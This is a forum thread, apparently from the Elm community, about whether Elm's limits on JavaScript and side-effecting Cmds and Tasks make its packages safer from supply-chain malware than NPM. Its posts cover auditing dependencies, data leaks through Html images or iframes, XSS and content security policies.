With NPM, we’ve seen packages getting malware embedded in them, either because they get hacked or just straight up bought. This is of course a big issue, and there’s not a whole lot to do other than to stay vigilant as far as I can tell. I haven’t really used Elm, but it occurred to me that Elm is positioned to make this much easier.
My assumption is that the only way for a package to contact some external server is by making the Elm application send out a Cmd with the needed parameters. That means you could probably make a whitelist of legal URLs to contact, either in a library or the runtime itself, and block all requests to other URLs. If we imagine a package that handles some sensitive data, and needs to contact a server for additional data or validation, the URL whitelist would severely hamper any malware inserted into the package. The malware couldn’t transmit the sensitive data to someone without explicit permission from the developer, and it would be very easy to audit which servers your application is contacting.
Of course, Elm already helps some compared to NPM, because you just have to keep an eye on the packages that ask you to execute Cmds.
Am I right in my analysis that the Elm eco system is safer because of the language restrictions? Or am I missing something? Or hey, are there other avenues for malicious code that Elm also blocks that I haven’t seen?
Yes. JS code is restricted to only two organizations and the code in those organizations is tightly controlled by core team. Without hidden JS code, the only avenue of attack would be in something that would produce a Task or a Cmd and the number of libraries that are creating this kind of stuff is relatively small.
So, if a library provides you with an interface that produces Tasks or Cmds and you have security concerns, you can audit the code. Such library would also trigger suspicion if it would ask the user to use Tasks or Cmds in contexts where it shouldn’t.
That’s true; as long as I’m using open source libraries, and the ones that rely on Tasks or Cmds are rare, just auditing those would be a good starting solution. Ideally everyone would be suspicious of packages that contact external servers though, so making it easy to audit and restrict what a Task or Cmd is allowed to do would probably be nice in the long run. Having to re-audit a package every time it gets a new version likely isn’t an optimal solution.
Do Elm packages contain the code in auditable form, or must I read the code from e.g. Github? And if so, are Elm packages tied to e.g. a git tag, so I’m sure that the code I read is also the code in the package?
The code that gets compiled into your final deliverable is the code that is downloaded from Github using the tag that represents the version you have in your elm.json.
Reading the source code should be quite accessible since you can start from the functions producing Task/Cmd and hunt only the bits that look suspicious.
I have 18 dependencies in my biggest webapp and out of those 18, only one generates side-effects. And I can easily remove this dependency from my project if I want to.
To be on the paranoid side, packages that generate Html values (which are on the other hand quite common) can exfiltrate some data via the use of images or iframes.
For example, I might make a package that looks somewhat like this:
Cross site scripting (XSS) in general is a vector to look out for in Elm (to extend on @gampleman’s post). A lot of the known XSS attacks can be mitigated or removed with keeping your browser up to date and applying a hardened content security policy (CSP) on the server side.
Some of the directions I can see in the Elm community are moving away from easy adoption of good CSPs for the sake of development ease. Whilst this is most likely not a conscious decision it is something we should keep an eye on moving forward.
My purpose in saying this is not intended to call out anyone or any particular project, but a good general example of this that I’ve seen across multiple packages is the use of embedding inline style sheets and or inline styles directly into divs etc. Just allowing this type of thing in your CSP drops your Mozilla’s Observatory score by 10 points.
I actually wasn’t aware this was an attack vector (the OWASP entry has more details). It seems like the HTML package already does some sanitizing, but I couldn’t find a complete list of the security measures that are used. This still doesn’t mean you can apply the security policy though, which would still be an important measure to take.